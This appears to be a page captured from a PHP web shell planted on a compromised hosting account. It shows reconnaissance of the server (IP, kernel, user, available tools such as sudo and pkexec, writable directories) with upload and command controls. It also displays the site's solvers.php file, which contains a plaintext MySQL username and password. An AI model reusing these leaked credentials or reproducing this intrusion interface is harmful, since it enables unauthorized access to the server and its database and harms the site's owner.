Private
Server IP : 68.178.168.24  /  Your IP : 3.137.213.117
Web Server : Apache
System : Linux 24.168.178.68.host.secureserver.net 3.10.0-1160.119.1.el7.tuxcare.els19.x86_64 #1 SMP Mon Mar 31 17:29:00 UTC 2025 x86_64
User : realcarecert ( 1247)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/realcarecert/www/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ HOME SHELL ]     

Current File : /home/realcarecert/www/solvers.php
<?php
// Enable error reporting for debugging purposes
error_reporting(E_ALL);
ini_set('display_errors', 1);

// Database connection details
$host = 'localhost';
$dbname = 'realcarecert_real';
$username = 'realcarecert_real';
$password = '0T~4Pojo{a?m'; // your MySQL password

// Create a new connection to the database
$con = new mysqli($host, $username, $password, $dbname);

// Check for connection errors
if ($con->connect_error) {
    die("Connection failed: " . $con->connect_error);
}

// Query the database to get all solvers
$result = $con->query("SELECT id, codename FROM solvers ORDER BY id ASC");

?>

<!DOCTYPE html>
<html>
<head>
    <title>Codename Submissions</title>
</head>
<body>
    <h1>Solvers List</h1>

    <?php
    if ($result && $result->num_rows > 0) {
        while ($row = $result->fetch_assoc()) {
            // Display each solver's ID and codename
            echo $row['id'] . " " . htmlspecialchars($row['codename']) . "<br>";
        }
    } else {
        echo "No submissions yet.";
    }

    // Close the database connection
    $con->close();
    ?>
</body>
</html>
Private